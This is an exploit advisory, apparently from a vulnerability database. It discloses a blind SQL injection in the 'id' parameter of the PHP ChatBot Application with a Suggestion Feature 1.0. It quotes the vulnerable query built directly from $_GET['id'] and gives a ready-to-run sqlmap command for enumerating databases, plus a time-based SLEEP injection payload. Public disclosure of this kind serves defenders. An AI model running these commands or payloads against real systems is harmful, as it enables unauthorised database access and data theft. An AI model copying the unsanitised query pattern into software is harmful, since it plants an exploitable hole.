ChatBot Application With A Suggestion Feature 1.0 SQL Injection

2022.05.06

Credit: **Saud Alenazi (https://cxsecurity.com/author/Saud+Alenazi/1/)**

Risk: **Medium**

Local: **No**

Remote: **Yes**

CVE: **N/A**

CWE: **CWE-89 (https://cxsecurity.com/cwe/CWE-89)**

```
# Exploit Title: ChatBot Application with a Suggestion Feature 1.0
 - 'id' Blind SQL Injection
# Date: 05/05/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15316/chatbot-a
pp-suggestion-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
# Vulnerable Code

line 4 in file "/simple_chat_bot/admin/responses/view_response.php"

$qry = $conn->query("SELECT * from `response_list` where id = '{$_G
ET['id']}' ");

# Sqlmap command:

sqlmap -u 'http://localhost/simple_chat_bot/admin/?id=0&page=respon
ses/view_response' -p id --level=5 --risk=3 --dbs --random-agent --
eta

# Output:

Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=0' AND (SELECT 9931 FROM (SELECT(SLEEP(5)))Etug)--
 bfDF&page=responses/view_response
```

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2022050020)

Tweet

Lubię to!

Vote for this issue: 👍 0 👎 0

50% 50%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)